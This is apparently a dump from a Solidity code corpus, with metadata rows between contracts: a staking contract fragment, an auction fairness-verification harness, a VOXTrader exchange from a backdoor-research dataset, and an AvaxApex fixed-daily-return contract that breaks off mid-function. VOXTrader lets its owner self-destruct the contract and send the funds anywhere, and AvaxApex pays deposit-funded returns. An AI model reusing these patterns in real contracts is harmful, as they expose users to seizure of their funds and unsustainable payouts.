function getUserInfo(address _user)
public
view
returns (TPlanInfo memory o_planInfo,
TRefInfo memory o_refInfo,
TUserInfo memory o_userInfo,
uint256 o_timestamp)
{
o_timestamp = block.timestamp;
TUser storage user = USERS[_user];
//active invest/reinvest deposits
for (uint256 i = 0; i < user.deposits.length; i++) {
if (_isDepositDeceased(_user, i)) continue;
o_planInfo.dividends += _calculateDepositDividends(_user, i);
if (!user.deposits[i].isReinvest) {
o_planInfo.mActive++;
} else {
o_planInfo.rActive++;
}
}
//referral stats
o_refInfo.count = user.refCount;
o_refInfo.dividends = user.refDividends;
o_refInfo.totalEarned = user.totalRefDividends;
//user stats
o_userInfo.claimable =
o_planInfo.dividends +
o_refInfo.dividends +
user.debtBuffer;
o_userInfo.checkpoint = user.checkpoint;
o_userInfo.totalInvested = user.totalInvested;
o_userInfo.totalDepositCount = user.depHistory.length;
o_userInfo.totalClaimed = user.totalClaimed;
}
function getUserDepositHistory(address _user, uint256 _numBack)
public
view
returns (TDeposit[5] memory o_deposits,
uint256 o_total,
uint256 o_idxFrom,
uint256 o_idxTo,
uint256 o_timestamp)
{
o_timestamp = block.timestamp;
o_total = USERS[_user].depHistory.length;
o_idxFrom = (o_total > _numBack * 5) ? (o_total - _numBack * 5) : 0;
uint256 _cut = (o_total < _numBack * 5) ? (_numBack * 5 - o_total) : 0;
o_idxTo = (o_idxFrom + 5 < o_total) ? (o_idxFrom + 5) - _cut : o_total;
for (uint256 i = o_idxFrom; i < o_idxTo; i++) {
o_deposits[i - o_idxFrom] = USERS[_user].depHistory[i];
}
}
function getUserAvailable(address _user) public view returns (uint256) {
if (!_canClaim(_user)) return 0;
(, , TUserInfo memory userInfo,) = getUserInfo(_user);
return userInfo.claimable;
}
function getUserCheckpoint(address _user) public view returns (uint256) {
return USERS[_user].checkpoint;
}
function getContractBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function withdraw() public {
claim();
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 97,874 | 11,150 |
a72fc5256b9de2c552c087968d5fad8842cab6ea4511f333b8625bf1572939f6
| 12,801 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/invariant_auctions/truthful/4-EtherAuction-0x2e63cceffa42b095f0bd6d0fcadb521200b8fef5.sol
| 3,519 | 12,725 |
pragma solidity >=0.4.18;
contract EtherAuction {
// The address that deploys this auction and volunteers 1 eth as price.
address public auctioneer;
uint public auctionedEth = 0;
uint public highestBid = 0;
uint public secondHighestBid = 0;
address public highestBidder;
address public secondHighestBidder;
uint public latestBidTime = 0;
uint public auctionEndTime;
mapping (address => uint) public balances;
bool public auctionStarted = false;
bool public auctionFinalized = false;
event E_AuctionStarted(address _auctioneer, uint _auctionStart, uint _auctionEnd);
event E_Bid(address _highestBidder, uint _highestBid);
event E_AuctionFinished(address _highestBidder,uint _highestBid,address _secondHighestBidder,uint _secondHighestBid,uint _auctionEndTime);
constructor() public{
auctioneer = msg.sender;
}
// The auctioneer has to call this function while supplying the 1th to start the auction
function startAuction() public payable{
require(!auctionStarted);
require(msg.sender == auctioneer);
require(msg.value == (1 * 10 ** 18));
auctionedEth = msg.value;
auctionStarted = true;
auctionEndTime = now + (3600 * 24 * 7); // Ends 7 days after the deployment of the contract
emit E_AuctionStarted(msg.sender,now, auctionEndTime);
}
//Anyone can bid by calling this function and supplying the corresponding eth
function bid() public payable {
require(auctionStarted);
require(now < auctionEndTime);
require(msg.sender != auctioneer);
require(highestBidder != msg.sender); //If sender is already the highest bidder, reject it.
address _newBidder = msg.sender;
uint previousBid = balances[_newBidder];
uint _newBid = msg.value + previousBid;
require (_newBid == highestBid + (5 * 10 ** 16)); //Each bid has to be 0.05 eth higher
// The highest bidder is now the second highest bidder
secondHighestBid = highestBid;
secondHighestBidder = highestBidder;
highestBid = _newBid;
highestBidder = _newBidder;
latestBidTime = now;
//Update the bidder's balance so they can later withdraw any pending balance
balances[_newBidder] = _newBid;
//If there's less than an hour remaining and someone bids, extend end time.
if(auctionEndTime - now < 3600)
auctionEndTime += 3600; // Each bid extends the auctionEndTime by 1 hour
emit E_Bid(highestBidder, highestBid);
}
// Once the auction end has been reached, we distribute the ether.
function finalizeAuction() public {
require (now > auctionEndTime);
require (!auctionFinalized);
auctionFinalized = true;
if(highestBidder == address(0)){
//If no one bid at the auction, auctioneer can withdraw the funds.
balances[auctioneer] = auctionedEth;
}else{
// Second highest bidder gets nothing, his latest bid is lost and sent to the auctioneer
balances[secondHighestBidder] -= secondHighestBid;
balances[auctioneer] += secondHighestBid;
//Auctioneer gets the highest bid from the highest bidder.
balances[highestBidder] -= highestBid;
balances[auctioneer] += highestBid;
//winner gets the 1eth being auctioned.
balances[highestBidder] += auctionedEth;
auctionedEth = 0;
}
emit E_AuctionFinished(highestBidder,highestBid,secondHighestBidder,secondHighestBid,auctionEndTime);
}
//Once the auction has finished, the bidders can withdraw the eth they put
//Winner will withdraw the auctionedEth
//Auctioneer will withdraw the highest bid from the winner
//Second highest bidder will already have his balance at 0
//The rest of the bidders get their money back
function withdrawBalance() public{
require (auctionFinalized);
uint ethToWithdraw = balances[msg.sender];
if(ethToWithdraw > 0){
balances[msg.sender] = 0;
msg.sender.transfer(ethToWithdraw);
}
}
//Call thisfunction to know how many seconds remain for the auction to end
function timeRemaining() public view returns (uint ret){
require (auctionEndTime > now);
return auctionEndTime - now;
}
function myLatestBid() public view returns (uint ret){
return balances[msg.sender];
}
function newbid(address payable msg_sender, uint msg_value, uint block_timestamp) public payable{
require(auctionStarted);
require(block_timestamp < auctionEndTime);
require(msg_sender != auctioneer);
require(highestBidder != msg_sender); //If sender is already the highest bidder, reject it.
address _newBidder = msg_sender;
uint previousBid = balances[_newBidder];
uint _newBid = msg_value + previousBid;
// require (_newBid == highestBid + (5 * 10 ** 16)); //Each bid has to be 0.05 eth higher
if (_newBid != highestBid + 120000000000) return; //Each bid has to be 0.05 eth higher
// The highest bidder is now the second highest bidder
secondHighestBid = highestBid;
secondHighestBidder = highestBidder;
highestBid = _newBid;
highestBidder = _newBidder;
latestBidTime = block_timestamp;
//Update the bidder's balance so they can later withdraw any pending balance
balances[_newBidder] = _newBid;
//If there's less than an hour remaining and someone bids, extend end time.
if(auctionEndTime - block_timestamp < 3600)
auctionEndTime += 3600; // Each bid extends the auctionEndTime by 1 hour
emit E_Bid(highestBidder, highestBid);
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
mapping(address=>uint) payments;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_payment_register(address allocation, address player, uint payment) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_validate_outcome_postcondition(string memory desc, bool condition) public view {}
function _Main_(address payable msg_sender1, uint p1, uint msg_value1, uint msg_gas1, uint block_timestamp1,
address payable msg_sender2, uint p2, uint msg_value2, uint msg_gas2, uint block_timestamp2,
address payable msg_sender3, uint p3, uint msg_value3, uint msg_gas3, uint block_timestamp3,
address payable msg_sender4, uint p4, uint msg_value4, uint msg_gas4, uint block_timestamp4) public {
require(!(msg_sender1==highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder));
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender4==msg_sender1 || msg_sender4 == msg_sender2 || msg_sender4 == msg_sender3));
require(highestBid==0);
require(balances[msg_sender1] == 0);
require(balances[msg_sender2] == 0);
require(balances[msg_sender3] == 0);
require(balances[msg_sender4] == 0);
require(p1>100000000000 && p1< 900000000000);
require(p2>100000000000 && p2< 900000000000);
require(p3>100000000000 && p3< 900000000000);
require(p4>100000000000 && p4< 900000000000);
require(msg_value1>100000000000 && msg_value1< 900000000000);
require(msg_value2>100000000000 && msg_value2< 900000000000);
require(msg_value3>100000000000 && msg_value3< 900000000000);
require(msg_value4>100000000000 && msg_value4< 900000000000);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(benefits[msg_sender1] == 0);
require(benefits[msg_sender2] == 0);
require(benefits[msg_sender3] == 0);
require(benefits[msg_sender4] == 0);
require(payments[msg_sender1] == 0);
require(payments[msg_sender2] == 0);
require(payments[msg_sender3] == 0);
require(payments[msg_sender4] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
// each role claims the 'bid' action.
newbid(msg_sender1,msg_value1,block_timestamp1);
newbid(msg_sender2,msg_value2,block_timestamp2);
newbid(msg_sender3,msg_value3,block_timestamp3);
newbid(msg_sender4,msg_value4,block_timestamp4);
// assert(msg_sender3 == highestBidder);
assert(msg_sender1 == highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder || msg_sender4 == highestBidder);
assert(msg_sender1 == secondHighestBidder || msg_sender2 == secondHighestBidder || msg_sender3 == secondHighestBidder || msg_sender4 == secondHighestBidder);
uint winner_value=0;
uint clear_price=0;
uint highest_price = 0;
uint secondhighest_price = 0;
uint winners_count = 0;
if(highest_price<msg_value1){
secondhighest_price = highest_price;
highest_price = msg_value1;
}
else if (secondhighest_price < msg_value1){
secondhighest_price = msg_value1;
}
if(highest_price<msg_value2){
secondhighest_price = highest_price;
highest_price = msg_value2;
}
else if (secondhighest_price < msg_value2){
secondhighest_price = msg_value2;
}
if(highest_price<msg_value3){
secondhighest_price = highest_price;
highest_price = msg_value3;
}
else if (secondhighest_price < msg_value3){
secondhighest_price = msg_value3;
}
if(highest_price<msg_value4){
secondhighest_price = highest_price;
highest_price = msg_value4;
}
else if (secondhighest_price < msg_value4){
secondhighest_price = msg_value4;
}
if (msg_sender1 == highestBidder){
sse_winner(msg_sender1);
winners_count ++;
winner_value = msg_value1;
utilities[msg_sender1] = p1 - secondHighestBid;
benefits[msg_sender1] = p1;
payments[msg_sender1] = secondHighestBid;
}
sse_utility(utilities[msg_sender1]);
if (msg_sender2 == highestBidder){
sse_winner(msg_sender2);
winner_value = msg_value2;
winners_count ++;
utilities[msg_sender2] = p2 - secondHighestBid;
benefits[msg_sender2] = p2;
payments[msg_sender2] = secondHighestBid;
}
sse_utility(utilities[msg_sender2]);
if (msg_sender3 == highestBidder){
sse_winner(msg_sender3);
winner_value = msg_value3;
winners_count ++;
utilities[msg_sender3] = p3 - secondHighestBid;
benefits[msg_sender3] = p3;
payments[msg_sender3] = secondHighestBid;
}
sse_utility(utilities[msg_sender3]);
if (msg_sender4 == highestBidder){
sse_winner(msg_sender4);
winner_value = msg_value4;
winners_count ++;
utilities[msg_sender4] = p4 - secondHighestBid;
benefits[msg_sender4] = p4;
payments[msg_sender4] = secondHighestBid;
}
sse_utility(utilities[msg_sender4]);
clear_price = secondHighestBid;
sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
sse_validate_outcome_postcondition("Allocation: 1st highest bidder", winner_value==highest_price);
sse_validate_outcome_postcondition("Payment: 1st highest bid", clear_price==highest_price);
sse_validate_outcome_postcondition("Payment: 2nd highest bid", clear_price==secondhighest_price);
sse_validate_outcome_postcondition("highest_price!=secondhighest_price", highest_price!=secondhighest_price);
}
}
| 242,224 | 11,151 |
ef42eaf2d8f983ccfee7dc957ccbcd272d74795b82fedd1b5de360d394d7be36
| 21,920 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x01e15429fedbc08dec25e127df09b4af17167f5e.sol
| 3,537 | 13,841 |
pragma solidity 0.4.24;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/ERC20.sol
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Basic.sol
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address approver, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed approver, address indexed spender, uint256 value);
}
//
// base contract for all our horizon contracts and tokens
//
contract HorizonContractBase {
// The owner of the contract, set at contract creation to the creator.
address public owner;
constructor() public {
owner = msg.sender;
}
// Contract authorization - only allow the owner to perform certain actions.
modifier onlyOwner {
require(msg.sender == owner, "Only the owner can call this function.");
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// math.sol -- mixin for inline numerical wizardry
// Taken from: https://dapp.tools/dappsys/ds-math.html
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
library DSMath {
function dsAdd(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function dsMul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
uint constant WAD = 10 ** 18;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = dsAdd(dsMul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = dsAdd(dsMul(x, WAD), y / 2) / y;
}
}
contract VOXTrader is HorizonContractBase {
using SafeMath for uint256;
using DSMath for uint256;
struct TradeOrder {
uint256 quantity;
uint256 price;
uint256 expiry;
}
// The owner of this contract.
address public owner;
// The balances of all accounts.
mapping (address => TradeOrder) public orderBook;
// The contract containing the tokens that we trade.
address public tokenContract;
// The price paid for the last sale of tokens on this contract.
uint256 public lastSellPrice;
// The highest price an asks can be placed.
uint256 public sellCeiling;
// The lowest price an ask can be placed.
uint256 public sellFloor;
// The percentage taken off the cost of buying tokens in Ether.
uint256 public etherFeePercent;
// The minimum Ether fee when buying tokens (if the calculated percent is less than this value);
uint256 public etherFeeMin;
// Both buying and selling tokens is restricted to only those who have successfully passed KYC.
bool public enforceKyc;
// The addresses of those allowed to trade using this contract.
mapping (address => bool) public tradingWhitelist;
// A sell order was put into the order book.
event TokensOffered(address indexed who, uint256 quantity, uint256 price, uint256 expiry);
// A user bought tokens from another user.
event TokensPurchased(address indexed purchaser, address indexed seller, uint256 quantity, uint256 price);
// A user updated their ask.
event TokenOfferChanged(address who, uint256 quantity, uint256 price, uint256 expiry);
event VoucherRedeemed(uint256 voucherCode, address voucherOwner, address tokenSeller, uint256 quantity);
// The contract has been shut down.
event ContractRetired(address newAddcontract);
constructor(address tokenContract_) public {
owner = msg.sender;
tokenContract = tokenContract_;
// On publication the only person allowed trade is the issuer/owner.
enforceKyc = true;
setTradingAllowed(msg.sender, true);
}
function getOrder(address who) public view returns (uint256 quantity, uint256 price, uint256 expiry) {
TradeOrder memory order = orderBook[who];
return (order.quantity, order.price, order.expiry);
}
function offer(uint256 quantity, uint256 price, uint256 expiry) public {
require(enforceKyc == false || isAllowedTrade(msg.sender), "You are unknown and not allowed to trade.");
require(quantity > 0, "You must supply a quantity.");
require(price > 0, "The sale price cannot be zero.");
require(expiry > block.timestamp, "Cannot have an expiry date in the past.");
require(price >= sellFloor, "The ask is below the minimum allowed.");
require(sellCeiling == 0 || price <= sellCeiling, "The ask is above the maximum allowed.");
uint256 allowed = ERC20Interface(tokenContract).allowance(msg.sender, this);
require(allowed >= quantity, "You must approve the transfer of tokens before offering them for sale.");
uint256 balance = ERC20Interface(tokenContract).balanceOf(msg.sender);
require(balance >= quantity, "Not enough tokens owned to complete the order.");
orderBook[msg.sender] = TradeOrder(quantity, price, expiry);
emit TokensOffered(msg.sender, quantity, price, expiry);
}
function execute(address seller, uint256 quantity, uint256 price) public payable {
require(enforceKyc == false || (isAllowedTrade(msg.sender) && isAllowedTrade(seller)), "Buyer and Seller must be approved to trade on this exchange.");
TradeOrder memory order = orderBook[seller];
require(order.price == price, "Buy price does not match the listed sell price.");
require(block.timestamp < order.expiry, "Sell order has expired.");
require(price >= sellFloor, "The bid is below the minimum allowed.");
require(sellCeiling == 0 || price <= sellCeiling, "The bid is above the maximum allowed.");
// Deduct the sold tokens from the sell order immediateley to prevent re-entrancy.
uint256 tradeQuantity = order.quantity > quantity ? quantity : order.quantity;
order.quantity = order.quantity.sub(tradeQuantity);
if (order.quantity == 0) {
order.price = 0;
order.expiry = 0;
}
orderBook[seller] = order;
uint256 cost = tradeQuantity.wmul(order.price);
require(msg.value >= cost, "You did not send enough Ether to purchase the tokens.");
uint256 etherFee = calculateFee(cost);
if(!ERC20Interface(tokenContract).transferFrom(seller, msg.sender, tradeQuantity)) {
revert("Unable to transfer tokens from seller to buyer.");
}
// Pay the seller and if applicable the fee to the issuer.
seller.transfer(cost.sub(etherFee));
if(etherFee > 0)
owner.transfer(etherFee);
lastSellPrice = price;
emit TokensPurchased(msg.sender, seller, tradeQuantity, price);
}
function cancel() public {
orderBook[msg.sender] = TradeOrder(0, 0, 0);
TradeOrder memory order = orderBook[msg.sender];
emit TokenOfferChanged(msg.sender, order.quantity, order.price, order.expiry);
}
function setTradingAllowed(address who, bool canTrade) public onlyOwner {
tradingWhitelist[who] = canTrade;
}
function isAllowedTrade(address who) public view returns (bool) {
return tradingWhitelist[who];
}
function setEnforceKyc(bool enforce) public onlyOwner {
enforceKyc = enforce;
}
function setOfferPrice(uint256 price) public {
require(enforceKyc == false || isAllowedTrade(msg.sender), "You are unknown and not allowed to trade.");
require(price >= sellFloor && (sellCeiling == 0 || price <= sellCeiling), "Updated price is out of range.");
TradeOrder memory order = orderBook[msg.sender];
require(order.price != 0 || order.expiry != 0, "There is no existing order to modify.");
order.price = price;
orderBook[msg.sender] = order;
emit TokenOfferChanged(msg.sender, order.quantity, order.price, order.expiry);
}
function setOfferSize(uint256 quantity) public {
require(enforceKyc == false || isAllowedTrade(msg.sender), "You are unknown and not allowed to trade.");
require(quantity > 0, "Size must be greater than zero, change rejected.");
uint256 balance = ERC20Interface(tokenContract).balanceOf(msg.sender);
require(balance >= quantity, "Not enough tokens owned to complete the order change.");
uint256 allowed = ERC20Interface(tokenContract).allowance(msg.sender, this);
require(allowed >= quantity, "You must approve the transfer of tokens before offering them for sale.");
TradeOrder memory order = orderBook[msg.sender];
order.quantity = quantity;
orderBook[msg.sender] = order;
emit TokenOfferChanged(msg.sender, quantity, order.price, order.expiry);
}
function setOfferExpiry(uint256 expiry) public {
require(enforceKyc == false || isAllowedTrade(msg.sender), "You are unknown and not allowed to trade.");
require(expiry > block.timestamp, "Cannot have an expiry date in the past.");
TradeOrder memory order = orderBook[msg.sender];
order.expiry = expiry;
orderBook[msg.sender] = order;
emit TokenOfferChanged(msg.sender, order.quantity, order.price, order.expiry);
}
function setEtherFeePercent(uint256 percent) public onlyOwner {
require(percent <= 100000000000000000000, "Percent must be between 0 and 100.");
etherFeePercent = percent;
}
function setEtherFeeMin(uint256 min) public onlyOwner {
etherFeeMin = min;
}
function calculateFee(uint256 ethers) public view returns (uint256 fee) {
fee = ethers.wmul(etherFeePercent / 100);
if(fee < etherFeeMin)
fee = etherFeeMin;
return fee;
}
function multiExecute(address[] sellers, uint256 lastQuantity) public payable returns (uint256 totalVouchers) {
require(enforceKyc == false || isAllowedTrade(msg.sender), "You are unknown and not allowed to trade.");
totalVouchers = 0;
for (uint i = 0; i < sellers.length; i++) {
TradeOrder memory to = orderBook[sellers[i]];
if(i == sellers.length-1) {
execute(sellers[i], lastQuantity, to.price);
totalVouchers += lastQuantity;
}
else {
execute(sellers[i], to.quantity, to.price);
totalVouchers += to.quantity;
}
}
return totalVouchers;
}
function redeemVoucherSingle(uint256 voucherCode, address voucherOwner, address seller, uint256 quantity) public onlyOwner payable {
// Send ether to the token owner and as we buy them as the owner they get burned.
TradeOrder memory order = orderBook[seller];
execute(seller, quantity, order.price);
emit VoucherRedeemed(voucherCode, voucherOwner, seller, quantity);
}
function redeemVoucher(uint256 voucherCode, address voucherOwner, address[] sellers, uint256 lastQuantity) public onlyOwner payable {
// Send ether to the token owner and as we buy them as the owner they get burned.
uint256 totalVouchers = multiExecute(sellers, lastQuantity);
// If we fill the voucher from multiple sellers we set the seller address to zero, the associated
// TokensPurchased events will contain the details of the orders filled.
address seller = sellers.length == 1 ? sellers[0] : 0;
emit VoucherRedeemed(voucherCode, voucherOwner, seller, totalVouchers);
}
function setSellCeiling(uint256 ceiling) public onlyOwner {
sellCeiling = ceiling;
}
function setSellFloor(uint256 floor) public onlyOwner {
sellFloor = floor;
}
function retire(address recipient, address newContract) public onlyOwner {
emit ContractRetired(newContract);
selfdestruct(recipient);
}
}
| 145,017 | 11,152 |
196e88cca0482097bda912b9769d4daf6417031735944e9b08b70a6e63a46e74
| 19,149 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/37/37d29bb04883a0146a18beae5eea7a3073b267fa_AvaxApex.sol
| 3,836 | 13,312 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Dev is Context{
address private _dev;
event DefinedDev(address indexed previousDev, address indexed newDev);
constructor () {
address msgSender = _msgSender();
_dev = msgSender;
emit DefinedDev(address(0), msgSender);
}
function dev() public view returns (address) {
return _dev;
}
modifier onlyDev() {
require(_dev == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract AvaxApex is Dev {
using SafeMath for uint256;
using SafeMath for uint8;
uint256[] public REFERRAL_PERCENTS = [70, 30];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public CONTRACT_FEE = 30;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public PERCENTS_PENALTY = 100;
uint256 constant public PERCENTS_ALLOWED_BALANCE = 250;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public DAYS_NOT_WHALE = 2 days;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
bool public started;
uint256 public totalInvested;
uint256 public totalFunded;
uint256 public totalCommisions;
uint256 public totalUsers;
uint256 public totalUserBlocked;
struct Plan {
uint256 time;
uint256 percent;
}
struct BlockedState{
uint256 date;
uint8 times;
bool state;
uint256 investPenalty;
}
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct Referred {
uint256 percent;
uint256 amountPaid;
}
struct User {
Deposit[] deposits;
uint256 referralsCount;
mapping(address => Referred) referrals;
address[2] referral;
uint256 checkpoint;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
BlockedState blocked;
}
//Mappings
mapping (address => User) internal users;
Plan[] internal plans;
address payable public commissionWallet;
// Events for emit
event Invest(address indexed user, uint8 plan, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Funded(address indexed user, uint256 amount);
event BlockedWhale(address indexed user);
constructor(address payable wallet){
commissionWallet = wallet;
plans.push(Plan(20, 100));
_status = _NOT_ENTERED;
}
function invest(address referrer, uint8 plan) public payable nonReentrant{
if (!started) {
if (_msgSender() == commissionWallet) {
started = true;
} else revert("Not started yet");
}
require(plan < 1, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
totalCommisions = totalCommisions.add(fee);
User storage user = users[_msgSender()];
// Set referrer in level 1 and 2
if (user.deposits.length == 0) {
if(users[referrer].deposits.length > 0){
definedReferrers(_msgSender(), referrer);
}
user.checkpoint = block.timestamp;
totalUsers++;
}
if(msg.value > user.blocked.investPenalty){
resetBlocked(_msgSender());
}else{
user.blocked.investPenalty = user.blocked.investPenalty.sub(msg.value);
}
paidReferrers(_msgSender(), msg.value);
user.deposits.push(Deposit(plan, msg.value, block.timestamp));
totalInvested = totalInvested.add(msg.value);
emit Invest(msg.sender, plan, msg.value);
}
function withdraw() public nonReentrant{
User storage user = users[_msgSender()];
require(user.checkpoint.add(TIME_STEP) <= block.timestamp, "Can only withdraw every 24 hours");
uint256 totalAmount = getUserDividends(_msgSender()).add(user.bonus);
uint256 balanceAllowed = address(this).balance.mul(PERCENTS_ALLOWED_BALANCE).div(PERCENTS_DIVIDER);
totalAmount = totalAmount.sub(totalAmount.mul(CONTRACT_FEE).div(PERCENTS_DIVIDER));
definedBLocked(user, totalAmount);
require(!user.blocked.state, "Address is blocked");
require(totalAmount > 0, "User has no dividends");
require(balanceAllowed > totalAmount, "Dividends amount not allowed");
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
user.bonus = 0;
payable(_msgSender()).transfer(totalAmount);
emit Withdrawn(_msgSender(), totalAmount);
}
function fundContract() public payable nonReentrant {
if (!started) {
if (msg.sender == commissionWallet) {
started = true;
} else revert("Not started yet");
}
totalFunded = totalFunded.add(msg.value);
emit Funded(msg.sender, msg.value);
}
function getUserDividends(address user_) public view returns (uint256) {
User storage user = users[user_];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(1 days));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
}
}
return totalAmount;
}
/// @dev Functions that help to show info
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserTotalWithdrawn(address user) public view returns (uint256) {
return users[user].withdrawn;
}
function getUserCheckpoint(address user) public view returns(uint256) {
return users[user].checkpoint;
}
function getUserReferrer(address user) public view returns(address) {
return users[user].referral[0];
}
function getUserReferralsCount(address user_) public view returns(uint256) {
return users[user_].referralsCount;
}
function getUserReferralBonus(address user) public view returns(uint256) {
return users[user].bonus;
}
function getUserReferralTotalBonus(address user) public view returns(uint256) {
return users[user].totalBonus;
}
function getUserReferralWithdrawn(address user) public view returns(uint256) {
